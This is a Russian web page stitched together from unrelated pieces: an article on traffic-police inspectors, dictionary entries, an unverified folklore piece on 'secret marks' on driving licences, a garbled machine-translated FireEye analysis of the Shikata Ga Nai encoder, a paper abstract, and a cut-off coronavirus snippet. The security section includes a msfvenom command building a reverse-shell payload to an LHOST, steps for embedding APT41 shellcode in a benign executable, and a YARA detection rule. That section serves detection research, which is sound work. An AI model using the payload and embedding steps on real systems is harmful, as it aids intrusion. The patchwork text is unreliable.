Идея не нова. Она уже не раз звучала, в том числе из уст правозащитников. Действительно во многих регионах директивы федерального уровня, бывает, и игнорируются. Надо отметить, что сами инспекторы в большинстве случаев были бы не прочь работать именно в такой вот вертикальной структуре. Но все упирается, как обычно, в финансирование. Ведь сейчас федеральный бюджет выделяет деньги только на содержание министерства. А все местные структуры МВД финансируются из местных же бюджетов. Перестроить эту систему будет очень сложно. И как быть со штрафами, которые поступают именно в местный бюджет? Ведь в конечном итоге они идут и на ремонт дорог, и на содержание милиции. Это, правда, в идеальном варианте. Как быть со зданиями ГИБДД, площадками осмотра? Они принадлежат местным властям и хоть скудно и бедно, но выделяются под милицию. Их тоже передать на содержание федеральному бюджету?

Но есть и плюсы у этой идеи. У местного гаишника не будет страха перед чиновником, который нарушил правила. Ведь он не сможет ни уволить его, ни даже срезать ему зарплату.

Спикер также напомнил, что проблема безопасности дорожного движения не только в деятельности ГИБДД, но и в недостаточном уровне подготовки водителей. В качестве примера, он привел себя.

— У меня профессиональные права с 1977 года категории С и В, — говорит Миронов. — Но я сейчас прохожу обучение в школе высшего водительского мастерства по классу контраварийной подготовки. На днях буду держать экзамен по теории и скорости руления в экстремальном режиме.

Поэтому спикер приветствует решение руководства нашей страны увеличить количество часов, отведенных в учебных заведениях на обучение безопасности дорожного движения, а также увеличить срок обучения водителей в автошколах. Правда, последнее может довольно серьезно отразиться на стоимости этой услуги. Но искусство выживания на наших дорогах стоит дороже денег.

Важнейшая задача, которую должен выполнять каждый инспектор ГИБДД: обеспечивать соблюдение совершенно всеми участниками движения на дорогах и вне их, как водителями всевозможных транспортных средств, так и пешеходами, существующих на данный момент времени правил дорожного движения в целях предотвращения возможных дорожно-транспортных происшествий.

Обязанности дорожного инспектора ГИБДД:

— регулировать на дорогах и вне их движение автотранспорта, а также потоков всевозможных транспортных средств;

— предупреждать развитие разнообразных аварийных ситуаций с участием любых транспортных средств;

— проверять водительские удостоверения, технические паспорта владельцев транспортных средств;

— внимательно осматривать место происшествия и досконально выяснять возможные причины произошедшего дорожно-транспортного происшествия;

— проводить проверки состояния водителей автомобилей на наличие в их организмах наркотических и/или алкогольных веществ;

— принимать самое активное участие в розыске угнанных транспортных средств;

— осматривать багаж и перевозимые транспортным средством все грузы;

— заниматься просветительской деятельностью, связанной с правилами дорожного движения;

— контролировать профессиональную подготовку начинающих водителей и ее качественный уровень.

Профессия инспектор ГИБДД имеет некоторые свои «плюсы» и «минусы», свойственные многим государственным служащим. К несомненным «плюсам» профессии можно отнести:

— зарплата инспектора ГИБДД стабильная и довольно высокая, своевременно индексируемая государством;

— при своевременном обучении и успешном прохождении очередных аттестаций и проверок, открываются неограниченные возможности для успешного продвижения по карьерной лестнице;

— инспектор ГИБДД обладает законным правом на более продолжительный трудовой отпуск;

— при достижении 45 лет, сотрудник может выйти на заслуженную пенсию по выслуге лет.

К «минусам» профессии относятся:

— эта работа опасна и вредна не только для здоровья, но даже для жизни сотрудника ГИБДД;

— необходимость в обязательном порядке находиться на вверенном посту при любых погодных условиях: в любой зной или сильный мороз, во время дождя или ураганного ветра;

— многочисленные дежурства в законные выходные и праздничные дни;

— необходимость продолжительное время вдыхать сильно загазованный воздух вблизи дорог и автострад;

— множество конфликтных ситуаций, возникающих в процессе общения с нарушителями ПДД.

Местом работы инспектор ГИБДД может выбрать: дорожно-патрульную службу; один из постов по инструментальному контролю; муниципальную, окружную или областную инспекцию; районное экзаменационные отделение.

Для успешного выполнения поставленных руководством задач, инспектор ГИБДД должен обладать рядом обязательных личностных качеств, к которым относятся:

— способности мгновенно уделять все свое внимание тому или иному конкретному событию и/или быстро переключать свое внимание в дальнейшем с одного объекта на другие;

— уметь быстро сопоставлять и верно анализировать множество самых разнообразных факторов и обладать большой находчивостью;

— иметь аналитические умственные способности на довольно высоком уровне и обладать большой коммуникабельностью;

— обладать превосходной зрительной памятью на буквы, цифры, различные формы и цветовые вариации;

— иметь способности к высокой концентрации своего внимания, большую степень наблюдательности и дисциплинированности;

— инспектор ГИБДД никогда не должен теряться и всегда достаточно четко функционировать при всевозможных экстремальных (в первую очередь аварийных) обстоятельствах;

— с учетом всех вышеперечисленных качеств для сотрудников ГИБДД необходима превосходная физическая подготовка, развивающая силу и большую выносливость.

Кто такой инспектор ГИБДД?Практически каждый автолюбитель в свое время общался с сотрудниками ГИБДД. Разговаривать с ними необходимо в спокойном тоне без заискиваний и грубостей. Работа ГИБДД и ее инспекторов в части их общения с водителями ведется соответственно действующему Административному регламенту, который предоставляет водителю транспортного средства не «тащиться» за инспектором ГИБДД в патрульную машину, а оставаться на месте.

Помимо этого, сразу после остановки инспектор ГИБДД должен обязательно представиться, сообщить водителю причины, по которым автомобиль был им остановлен. Согласно этого же регламента имеется возможность проведения водителем остановленного автомобиля аудио и/или видеосъемки. Правда, порой, не имеющий желания превратиться в «звезду экрана» инспектор ГИБДД может начать вести себя довольно агрессивно.

Наша страна неуклонно, хотя несколько медленно продвигается по пути построения правового государства. Всем необходимо не забывать, что у всех участников дорожного движения имеются не только многочисленные обязанности. Эти обязанности связаны с соблюдением существующих на сегодня правил дорожного движения. Но также существует еще и множество бесспорных прав гражданина Российской Федерации, которые каждый квалифицированный инспектор ГИБДД обязательно должен учитывать, когда выполняет текущие профессиональные обязанности. В связи с этим, пожалуй, самой лучшей защитой автолюбителей от тех или иных незаконных действий сотрудника ГИБДД будут хорошие знания в сфере Административного регламента.

На должности по профессии инспектор ГИБДД, соответственно действующим требованиям Министерства внутренних дел РФ, назначают офицеров полиции (начиная со звания лейтенант): успешно прошедших службу в вооруженных силах и/или получивших одну из военно-учетных специальностей в специальном учебном заведении. Последующий карьерный рост сотрудников ГИБДД происходит путем последовательного получения ими званий соответственно образованию и имеющемуся опыту работы.

Так же предлагаем ознакомиться с профессиями архивариуса, администратора гостиницы и страхового агента.

Узнать о профессии больше можно на видео:

АМТС

Смотреть что такое «АМТС» в других словарях:

• АМТС — автомототранспортные средства авто, транспорт Словарь: С. Фадеев. Словарь сокращений современного русского языка. С. Пб.: Политехника, 1997. 527 с. АМТС автоматическая междугородная телефонная связь; автоматическая междугородная телефонная… … Словарь сокращений и аббревиатур

• АМТС КЭ — автоматическая междугородная телефонная квазиэлектронная станция АМТС КЭ «Кварц» связь, техн … Словарь сокращений и аббревиатур

• Р АМТС — ремонт автомототранспортных средств авто, транспорт Источник: http://www.garo info.ru/pics/rules/6.doc Пример использования сертификация услуг по ТО и Р АМТС … Словарь сокращений и аббревиатур

• Телефонная сеть — комплекс технических сооружений и оборудования, предназначенный для осуществления телефонной связи (См. Телефонная связь) и состоящий из телефонных узлов связи (См. Узел связи), телефонных станций (См. Телефонная станция), линий связи (См … Большая советская энциклопедия

• Телефонный план нумерации Белоруссии — В этой статье не хватает ссылок на источники информации. Информация должна быть проверяема, иначе она может быть поставлена под сомнение и удалена. Вы можете … Википедия

• ТЕЛЕФОННАЯ СЕТЬ — комплекс сооружений и оборудования для телеф. связи, состоящий из телеф. узлов, телеф. станций и подстанций, узлов автома тич. коммутации, линий связи и телеф. аппаратов. Т. с. подразделяются на междугородные, внутризоновые и местные (городские,… … Большой энциклопедический политехнический словарь

• Аббревиатуры телефонии — Эта страница глоссарий. Аббревиатуры, используемые в телефонии и связи … Википедия

• Проспект Ленина (Мурманск) — У этого термина существуют и другие значения, см. Проспект Ленина. Ленина проспект Мурманск … Википедия

• автоматическая междугородная телефонная станция — АМТС Тематики телефонные сети Синонимы АМТС EN automatic trunk exchange … Справочник технического переводчика

• Золотые страницы — (англ. golden pages) товарный знак, под которым выпускаются справочники организаций на территории бывшего СССР. Содержание 1 История 2 Основные направления деятельности … Википедия

Похожие темы:

• Базы данных ГИБДД

  Какие сведения предоставляет база гос. номеров автомобилей? Еще не так давно все сведения, касающиеся автомобильных…

• Штраф ГИБДД по ИНН

  Проверить штрафы ГИБДД организации по ИНН Проверить налоговые задолженности организации можно на официальном сайте Федеральной…

• Талон в ГИБДД

  Процедура регистрации: пошаговая инструкцияСтать обладателем Личного кабинета на сайте Госуслуг поможет следующий несложный механизм: заходим…

Расшифровка неофициальных меток на правах водителей от сотрудников ГИБДД

Неофициальные метки на водительских правах могут появиться после неприятной встречи с дорожным инспектором. Наличие таких обозначений на документе способно принести множество трудностей водителю. О значении тайных знаков можно только догадываться.

С уверенностью можно сказать только одно — лучше предпринять все меры для того, чтобы подозрительные обозначение не появились на водительском удостоверении.

Кому нужны метки на правах и как они появляются?

Метки гаишников на правах устанавливаются иголкой или даже ручкой. В последнем случае после установки отметки чернила стираются и остается небольшое углубление. Иногда владелец транспортного средства может обнаружить на своих правах отдельно подчеркнутые буквы, но чаще всего метки представлены в виде точек в определенных местах документа.

Таким образом сотрудники ДПС передают друг другу информацию, характеризующую водителя. Это помогает им предположить то, чего следует ожидать от владельца транспортного средства. Секретных меток, оставляемых на правах, очень много.

Значение некоторых из них совершенно не понятно. Более того, отдельные обозначения не могут объяснить даже сотрудники ДПС из разных регионов. Вероятность появления определенных меток очень высока в том случае, если инспекторы работают в паре. Один из них занимается осмотром транспортного средства, а второй в это время метит водительское удостоверение.

Метки на правах и их значение

Прежде чем разобраться с тем, какие метки ставят гаишники на правах, следует отметить, что чаще всего странные обозначения появляются на фотографии водителя. Такая тенденция отмечалась много лет назад, но при этом она актуальна и в 2015 году.

Большое количество отметок до сих пор не разгаданы автолюбителями, но значение некоторых из них известно практически всем.

Среди таких обозначений:

• метки на рту;
• метки на лбу;
• метки на глазах;
• метки на ушах;
• метки на носу.

Метки на рту. Небольшая точка, оставленная инспектором ДПС на рту водителя, может свидетельствовать о том, что владелец транспортного средства очень конфликтный человек. Такой водитель любит ругаться. Он считается злобным.

Метки на лбу. Такая метка говорит о том, что остановленный водитель очень жадный, но при этом возникшие спорные ситуации он может разрешать посредством взятки. Еле заметное обозначение на лбу также может свидетельствовать о том, что владелец автомобиля не останавливался по требованию сотрудников ГАИ.

Метки на глазах. Секретные обозначение могут устанавливаться на одном или двух глазах. Трактование этой метки заключается в том, что водитель отличается вредностью. Он очень агрессивный и может легко выйти из себя. Возможно, что водитель может даже дойти до рукоприкладства.

Метка под глазами, установленная ручкой, говорит о жадности владельца транспортного средства. Также это может обозначать, что в спорных ситуациях он был прав или то, что водитель не дает денег. Точка в левом глазу значит, что водитель много ругается и не дает денег, а правом — что он спокойный и может давать взятку.

Метки на ушах. В этом случае метка может свидетельствовать о жадности водителя или о его юридической подкованности. Если точки установлены на левом и правом ухе, то это обозначает, что водитель сумел выиграть несколько судебных разбирательств против ГИБДД.

Метки на носу. Тайные обозначения в районе носа объясняют, что прежде водитель был остановлен на дороге в состоянии алкогольного опьянения. При этом он пытался откупиться большой суммой денег.

Кроме этого, существуют также и другие обозначения. Еле заметная буква «К» или наличие так называемых рожек на фотографии может говорить о том, что при прошлой встрече водитель чем-то обидел сотрудника ДПС. Такое клеймо не сулит ничего хорошего водителю от будущих встреч с дорожными инспекторами.

Как избавиться от меток на правах?

Наличие тайных меток на водительском удостоверении может принести множество неудобств водителю. К такому участнику дорожного движения однозначно будет предвзятое отношение, поэтому многие пытаются в случае обнаружения избавиться от секретных знаков.

Для таких водителей вопрос о том, как подкорректировать метки на правах, не лишен своей актуальности. Вполне вероятно разрешить эту проблему посредством использования подручных предметов. Еще одним выходом из сложившейся ситуации может стать замена водительского удостоверения.

Возможно ли бороться с метками?

Если водитель уже знает что обозначают метки на правах, то ему не составит особого труда их разгадать. В случае их обнаружения после проверки документов инспектором ГАИ необходимо сразу же обратиться к начальнику подразделения с жалобой.

После проведения соответствующей проверки водителю может быть выдано новое удостоверение. Чтобы избежать появления тайных меток, можно всегда носить удостоверение водителя в специальном прозрачном чехле из пластика. В таком случае права даже не придется доставать оттуда во время проверки.

Как не допустить появление меток на водительских правах

Тайные метки на правах — это особый способ передачи информации между сотрудниками ДПС о владельце транспортного средства. Наличие таких обозначений может усложнить жизнь водитель, поэтому рекомендуется предпринять все меры, чтобы избежать их появления. А для этого достаточно соблюдать правила дорожного движения и вежливо общаться с дорожным инспектором.

Видео: Убираем метки с водительских прав самостоятельно

Источник статьи ресурс - pravo-auto.com

Шиката Га Най Энкодер продолжает работать

Metasploit — один из самых популярных фреймворков для эксплойтов в мире. Его обширная библиотека карманных эксплойтов, подключаемая среда полезной нагрузки и простота исполнения делают его де-факто базовой платформой. Metasploit используется пентестерами, энтузиастами безопасности, скриптовыми детишками и даже злоумышленниками. Он настолько распространен, что в его пользовательскую базу входят даже акторы APT-угроз, как мы продемонстрируем позже в этом сообщении в блоге.

Несмотря на более чем 15-летнее существование Metasploit, все еще существуют основные методы, которые остаются незамеченными, что позволяет злоумышленникам избежать обнаружения.Одним из этих основных методов является схема кодирования полезной нагрузки Shikata Ga Nai (SGN). Современные системы обнаружения значительно улучшились за последние несколько лет и часто обнаруживают простые ванильные версии известных вредоносных методов. Однако во многих случаях, если злоумышленник знает, что делает, он может немного изменить существующий код, чтобы обойти обнаружение.

Перед тем, как мы перейдем к тому, как работает SGN, мы расскажем немного об окружающей среде. Когда злоумышленники планируют атаковать системы, они проходят процесс оценки риска и вознаграждения.Они циклически перебирают вопросы о скрытности и атрибуции. Вот некоторые из этих вопросов: Сколько усилий мне нужно приложить, чтобы меня не поймали? Что будет, если меня поймают? Как долго я могу разумно избегать обнаружения? Будет ли мне приписано открытие моего присутствия? Одним из таких способов, которым акторы APT пытались избежать обнаружения, было в первую очередь кодирование.

Мы знаем, что шелл-код — это в первую очередь набор инструкций, предназначенных для управления выполнением программы способами, которые изначально не предполагались.Цель состоит в том, чтобы внедрить этот шеллкод в уязвимый процесс. Чтобы вручную создать шелл-код, можно напрямую извлечь коды операций из машинного кода или извлечь их из инструмента ассемблера / дизассемблера, такого как MASM (Microsoft Macro Assembler). Необработанные сгенерированные коды операций часто не выполняются сразу после установки. Они часто требуют доработки и обеспечения совместимости с процессором, на котором они выполняются, и языком программирования, для которого они используются. Такая схема кодирования, как SGN, устраняет эти несовместимости.Кроме того, шелл-код в не обфусцированном состоянии можно легко распознать с помощью методов статического обнаружения. SGN обеспечивает обфускацию и, на первый взгляд, случайность при обфускации шелл-кода.

Конфигурация

Metasploit по умолчанию кодирует все полезные данные. Хотя Metasploit содержит множество кодировщиков, наиболее популярным из них был SGN. Фраза SGN на японском языке означает «ничего не поделаешь». Это название было дано ему, так как на момент его создания традиционные антивирусные продукты испытывали трудности с обнаружением.Как уже упоминалось, некоторые производители антивирусов сейчас ловят ванильные реализации, но пропускают слегка измененные варианты.

SGN — это полиморфный кодировщик с аддитивной обратной связью XOR. Он полиморфен в том смысле, что каждое создание закодированного шелл-кода будет отличаться от следующего. Это достигается с помощью различных методов, таких как динамическая подстановка инструкций, динамическое упорядочение блоков, случайная перестановка регистров, рандомизация порядка инструкций, вставка ненужного кода, использование случайного ключа и рандомизация интервалов между инструкциями между другими инструкциями.Часть дополнительной обратной связи XOR в этом случае относится к тому факту, что алгоритм выполняет XOR для будущих инструкций через случайный ключ, а затем добавляет эту инструкцию к ключу, который будет снова использоваться для кодирования следующей инструкции. Расшифровка шелл-кода — это процесс, выполняемый в обратном порядке.

Создание закодированной полезной нагрузки SGN

Следующие шаги можно воссоздать с помощью Metasploit и выбранных вами инструментов отладки / разборки:

1. Сначала создайте обычную полезную нагрузку в ванильном кодировании SGN:
   msfvenom -a x86 —platform windows -p windows / shell / reverse_tcp LHOST = 192.169.0.36 LPORT = 80 -b «\ x00» -e x86 / shikata_ga_nai -f exe -o /root/Desktop/metasploit/IamNotBad.exe
2. Открыть файл в дизассемблере. Глядя на двоичный файл в дизассемблере, вы сначала замечаете множество ненужных инструкций (рисунок 1). Кроме того, Metasploit по умолчанию не устанавливает область памяти для кода (в данном случае секцию .text) как доступную для записи. Это нужно будет установить, иначе шеллкод не запустится.

Рисунок 1: Нежелательные инструкции при просмотре двоичного файла в дизассемблере

Рисунок 2: Флаг RWX = E0000020

Рисунок 3: Пропустить ненужный код и перейти непосредственно к алгоритму, что можно сделать, вставив инструкцию перехода

Нарушение алгоритма

В алгоритм входят:

1. Спецификация ключа инициализации.
2. Получить местоположение относительно EIP (чтобы мы могли изменять инструкции, двигаясь вперед на основе полученного адреса).
   • Metasploit обычно использует инструкции fstenv / fnstenv, чтобы поместить его в стек, где он может быть вставлен в регистр для использования. Есть и другие способы получить EIP при желании.
3. Пройдите цикл для декодирования других инструкций (по умолчанию все закодированные инструкции будут находиться в разделе .text)
   • Vanilla SGN обнуляет регистр, который будет использоваться в качестве счетчика, и явно перемещает значение счетчика в регистр, поэтому цикл часть очевидна.Инструкция цикла закодирована, поэтому вы не увидите ее, пока декодирование не зайдет достаточно далеко.
   • SGN декодирует инструкции по более высокому адресу памяти (он мог бы выполнять более низкие адреса, если бы захотел, для большего обмана). Это делается путем добавления значения к сохраненному ранее адресу (относительно EIP) и выполнения операции XOR с ключом. В следующем примере вы видите инструкцию XOR [eax + 18h], esi t .text: 00408B98.
   • Адрес из более раннего (относящийся к EIP) затем модифицируется, и ключ также может быть изменен [Metasploit по умолчанию обычно добавляет или вычитает значение инструкции где-то относительно адреса, сохраненного ранее (относительно EIP)].
   • Цикл продолжается до тех пор, пока все инструкции не будут декодированы, а затем он переходит к декодированному шеллкоду. В данном случае это обратный шеллкод.
4. Кстати, Shikata Ga Nai допускает несколько итераций. Если выбрано несколько итераций, шаги с 1 по 3 повторяются после завершения текущей итерации.

Как видно из каждого из вышеупомянутых шагов, если вы защитник и полагаетесь исключительно на статическое обнаружение, обнаружение может быть довольно трудным.С чем-то подобным закодированным трудно статически обнаружить конкретное вредоносное поведение, не разворачивая закодированные инструкции. Постоянное сканирование памяти требует больших вычислительных ресурсов, что делает его менее осуществимым. В результате большинство платформ обнаружения полагаются на возможность обнаружения с помощью поведенческих индикаторов или песочниц.

Рисунок 4: Код перед декодированием

Рисунок 5: Декодируемые инструкции

Для многих из тех, кто какое-то время занимается кибербезопасностью, это не новость.Что по-прежнему актуально, так это тот факт, что многие вредоносные полезные данные, закодированные с помощью SGN, все еще преодолевают защиту и все еще используются злоумышленниками. Мы заметили, что данные, закодированные с помощью SGN, все еще попадают в системы, и решили продолжить расследование. Результаты были одновременно обнадеживающими и неожиданными и привели к дополнительным методам обнаружения, обсуждаемым в разделе «Обнаружение». Это также дало нам больше информации о том, в какой степени SGN все еще используется. Ниже приведен пример полезной нагрузки, которую мы восстановили от актора APT.

Встраивание полезной нагрузки

В этом примере мы использовали существующий образец APT41 и встроили полезную нагрузку в безопасный PE. Этот образец APT41 представляет собой шелл-код, закодированный в Shikata Ga Nai.

MD5: def46c736a825c357918473e3c02b3ef

Мы возьмем созданный нами доброкачественный PE (ImNotBad.exe) и вставим образец APT41, чтобы показать SGN в действии. Мы создаем новый раздел под названием NewSec и соответствующим образом устанавливаем значения раздела.

Рисунок 6. Рассчитайте размер кода оболочки.Начальный адрес 12000 и конечный адрес 94C10. Убедитесь, что размер находится в пределах имеющихся данных. Разница 82с10.

Рисунок 7. Вставьте код оболочки в безопасный PE (ImNotBad.exe)

Рисунок 8: Встроенный шелл-код можно найти в коде

Рисунок 9: Исправьте код, чтобы перейти к нему

Рисунок 10: Вот четыре шага алгоритма Шиката Га Най (упомянутого ранее), продемонстрированного

На рисунках 11 и 12, когда декодируется первый набор инструкций, кажется, что он пытается избежать нормального выполнения. EA 25 D9 74 24 F4 BB => Обратите внимание на то, как EA и 25 вставляются, чтобы вызвать сбой кода (переход в любопытное место в коде). Дальнейших усилий для правильного исследования сбоя не было, но при исправлении кода с помощью nops выполняется следующая последовательность декодирования.

Рисунок 11: Набор инструкций декодирован, похоже, он пытается избежать нормального выполнения

Рисунок 12: Набор инструкций декодирован, похоже, он пытается избежать нормального выполнения

Обнаружение

Обнаружение закодированной нагрузки SGN может быть трудным для защитника, особенно если в значительной степени полагается статическое обнаружение.Расшифровка и распутывание закодированных инструкций необходимо для выявления предполагаемых злонамеренных целей. Постоянное сканирование памяти требует больших вычислительных ресурсов, что делает его менее осуществимым. В результате большинство платформ обнаружения полагаются на обнаружение с помощью поведенческих индикаторов и песочниц. Устройства FireEye содержат как статические, так и динамические компоненты обнаружения. Обнаружение достигается различными механизмами, включая механизм машинного обучения FireEye, MalwareGuard. Множество двигателей в устройствах FireEye служат определенным целям и имеют разные сильные и слабые стороны.Обнаружение этих различных движков позволяет FireEye использовать все их сильные стороны. Корреляционная активность между этими механизмами дает уникальные возможности обнаружения. Это также позволяет производить производственные обнаружения, которые в противном случае были бы невозможны при использовании одного механизма для обнаружения. Мы смогли создать производственные обнаружения, коррелирующие различные механизмы на устройствах FireEye, чтобы обнаруживать двоичные файлы, закодированные SGN, с высокой точностью. Текущие производственные обнаружения используют преимущества механизмов статического, динамического и машинного обучения в устройстве FireEye.

В качестве примера сложностей, связанных с обнаружением SGN, мы построим код, закодированный с помощью слегка модифицированной версии простого алгоритма SGN Metasploit (рисунок 13):

Рисунок 13: Пример кода для возможного статического обнаружения

Один из ключей к написанию хорошего статического правила обнаружения — это распознавание уникального вредоносного поведения того, что вы пытаетесь обнаружить. Далее, возможность фиксировать как можно больше этого поведения без ложных срабатываний (FP).Ранее в этой статье мы перечислили основные особенности алгоритма SGN. Для иллюстрации давайте попробуем сопоставить некоторые из этих моделей поведения. Мы попытаемся сопоставить ключ, механизм, используемый для получения EIP, и дополнительный цикл обратной связи XOR.

Если бы мы пытались обнаружить код на рисунке 13 статически, мы могли бы использовать инструмент с открытым исходным кодом Yara. В качестве первого прохода мы могли бы построить следующее правило (рисунок 14):

Рисунок 14: Пример статического правила обнаружения SGN YARA для кода на рисунке 17

В правиле на Рисунке 14 мы добавили байты заполнения, чтобы попытаться помешать злоумышленнику, который вставит ненужные инструкции.Если бы злоумышленник понял, что мы сравниваем, его можно было бы легко победить, вставив ненужный код за пределы нашего заполнения. Мы могли бы играть в кошки-мышки и продолжать увеличивать наш отступ на основе того, что мы видели, но это не очень хорошее решение. Вдобавок, чем больше байтов, тем больше вероятность FP. Помимо добавления ненужного кода, злоумышленник может использовать другие очевидные методы уклонения, в том числе: использование разных регистров, выполнение арифметических операций для получения значений или переупорядочение инструкций.Metasploit неплохо справляется с рандомизацией алгоритма с помощью этих вещей, что затрудняет статическое обнаружение. Когда мы пытаемся поймать каждую измененную версию, она может быть бесконечной.

Статическое обнаружение — полезный, но очень ограниченный метод. Если это все, на что вы полагаетесь, вы упустите большую часть вредоносного поведения, которое проникает в ваши системы. Что касается SGN, мы изучили его дополнительно и определили основные поведенческие составляющие. Мы видели, как его до сих пор используют современные вредоносные программы. Ниже приводится пример правила поиска, которое можно использовать для обнаружения некоторых текущих распространенных перестановок, созданных vanilla x86-SGN в Metasploit. При желании это правило можно расширить, включив в него дополнительную логику.

правило Hunting_Rule_ShikataGaNai
{
meta:
author = «Steven Miller»
strings:
$ varInitializeAndXorCondition1_XorEAX = {B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (59 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (40 | 41 | 42 | 43 | 45 | 46 | 47) ?? }
$ varInitializeAndXorCondition1_XorEBP = {BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5A | 5B | 5C | 5E | 5F) [0-50] 31 (68 | 69 | 6A | 6B | 6D | 6E | 6F) ?? }
$ varInitializeAndXorCondition1_XorEBX = {BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5A | 5C | 5D | 5E | 5F) [0-50] 31 (58 | 59 | 5A | 5B | 5D | 5E | 5F) ?? }
$ varInitializeAndXorCondition1_XorECX = {B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (48 | 49 | 4A | 4B | 4D | 4E | 4F) ?? }
$ varInitializeAndXorCondition1_XorEDI = {BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5A | 5B | 5C | 5D | 5E) [0-50] 31 (78 | 79 | 7A | 7B | 7D | 7E | 7F) ?? }
$ varInitializeAndXorCondition1_XorEDX = {BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] (58 | 59 | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (50 | 51 | 52 | 53 | 55 | 56 | 57) ?? }
$ varInitializeAndXorCondition2_XorEAX = {D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] (59 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (40 | 41 | 42 | 43 | 45 | 46 | 47) ?? }
$ varInitializeAndXorCondition2_XorEBP = {D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] (58 | 59 | 5A | 5B | 5C | 5E | 5F) [0-50] 31 (68 | 69 | 6A | 6B | 6D | 6E | 6F) ?? }
$ varInitializeAndXorCondition2_XorEBX = {D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] (58 | 59 | 5A | 5C | 5D | 5E | 5F) [0-50] 31 (58 | 59 | 5A | 5B | 5D | 5E | 5F) ?? }
$ varInitializeAndXorCondition2_XorECX = {D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] (58 | 5A | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (48 | 49 | 4A | 4B | 4D | 4E | 4F) ?? }
$ varInitializeAndXorCondition2_XorEDI = {D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] (58 | 59 | 5A | 5B | 5C | 5D | 5E) [0-50] 31 (78 | 79 | 7A | 7B | 7D | 7E | 7F) ?? }
$ varInitializeAndXorCondition2_XorEDX = {D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] (58 | 59 | 5B | 5C | 5D | 5E | 5F) [0-50] 31 (50 | 51 | 52 | 53 | 55 | 56 | 57) ?? }
состояние:
любое из них
}

Мысли

Metasploit используется разными людьми по разным причинам. Некоторые могут использовать Metasploit для законных целей, таких как участие красной команды, исследования или образовательные задачи, в то время как другие могут использовать фреймворк со злым умыслом. Что касается последней категории, FireEye исторически наблюдал, как APT20, предположительно спонсируемая китайским национальным государством группа угроз, использует Metasploit с полезной нагрузкой, закодированной в SGN. APT20 — одна из многих групп угроз, отслеживаемых FireEye. Эта группа в первую очередь занимается кражей данных, особенно интеллектуальной собственности. Другие названные группы включают APT41 и FIN6.APT41 был официально раскрыт FireEye Intelligence в начале этого года. Эта группа использовала закодированные в SGN полезные данные в специально разработанных бэкдорах. APT41 — это китайская группа кибер-угроз, которая, как было замечено, выполняет финансово мотивированные миссии, совпадающие с операциями кибершпионажа. Группа финансовых угроз FIN6 также использовала закодированные в SGN полезные данные для выполнения своих задач, и исторически они полагались на различные общедоступные инструменты. Эти миссии в основном связаны с кражей данных платежных карт из торговых точек.FireEye также обнаружила многочисленные неклассифицированные группы угроз, использующие полезные данные, закодированные с помощью SGN. Это группы, которые FireEye отслеживает внутри компании, но официально не объявлены. В частности, одной из этих групп является UNC902, которая в публичных отчетах об угрозах широко известна как финансово мотивированная группа TA505. FireEye наблюдала, что UNC902 широко использует кодировку SGN в своих полезных данных, и мы продолжаем наблюдать активность, связанную с этой группой, даже совсем недавно, в октябре 2019 года. За пределами этих групп мы продолжаем наблюдать использование кодировки SGN в вредоносных образцах.FireEye в настоящее время ежемесячно определяет сотни закодированных данных SGN. Полезные данные, закодированные в SGN, не всегда используются с одним и тем же намерением, но это один из побочных эффектов встраивания в такую ​​популярную и свободно доступную структуру. Забегая вперед, мы ожидаем увидеть продолжение использования полезной нагрузки, закодированной в SGN.

Исследование и применение многоуровневого алгоритма кодов LDPC на основе CMMB

Ли Цзя, Ян Гай-гай, Чжао Чжи-цян. Исследование и применение многоуровневого алгоритма кодов LDPC на основе CMMB [J].Микроэлектроника и компьютер, 2015, 32 (9): 124-127. DOI: 10.19304 / j.cnki.issn1000-7180.2015.09.025

Образец цитирования:

Ли Цзя, Ян Гай-гай, Чжао Чжи-цян. Исследование и применение многоуровневого алгоритма кодов LDPC на основе CMMB [J]. Микроэлектроника и компьютер , 2015, 32 (9): 124-127. DOI: 10.19304 / j.cnki.issn1000-7180.2015.09.025

Ли Цзя, Ян Гай-гай, Чжао Чжи-цян.Исследование и применение многоуровневого алгоритма кодов LDPC на основе CMMB [J]. Микроэлектроника и компьютер, 2015, 32 (9): 124-127. DOI: 10.19304 / j.cnki.issn1000-7180.2015.09.025

Образец цитирования:

Ли Цзя, Ян Гай-гай, Чжао Чжи-цян. Исследование и применение многоуровневого алгоритма кодов LDPC на основе CMMB [J]. Микроэлектроника и компьютер , 2015, 32 (9): 124-127. DOI: 10.19304 / j.cnki.issn1000-7180.2015.09.025

DOI: 10.19304 / j.cnki.issn1000-7180.2015.09.025

• Научно-исследовательский институт электронных наук и технологий Китайского университета электронных наук и технологий, Чэнду 611731, Китай

• Дата получения: 21.10.2014
  
• Дата изменения: 2014-12-20

Аннотация

Алгоритм многоуровневого декодирования LDPC может эффективно снизить аппаратную сложность и значительно сократить количество итераций декодирования, что широко используется в конструкции декодера LDPC.Чтобы повысить производительность декодера, проверьте обновленные узлы в соответствии с надежностью этого алгоритма. Между тем, сумма абсолютного значения минимума логарифмического отношения правдоподобия информационных узлов и второго минимума используется для оценки надежности. На основе китайских кодов LDPC с кодовой скоростью 1/2 кодовой скорости китайского мобильного мультимедийного вещания мы моделируем и сравниваем традиционный алгоритм многоуровневого декодирования с улучшенным алгоритмом многоуровневого декодирования. Результат показывает, что: при той же частоте ошибок по битам производительность улучшенного алгоритма улучшается почти на 0.4 дБ и скорость схождения явно увеличивается.

Список литературы

Пропорциональные просмотры

Коронавирус: расшифровка остроконечного пушистого шара

Вы видели это — большая сферическая масса с выступающими красными шипами, наклеенная на телевидение и Интернет. Это изображение стало слишком привычным за последние несколько месяцев.

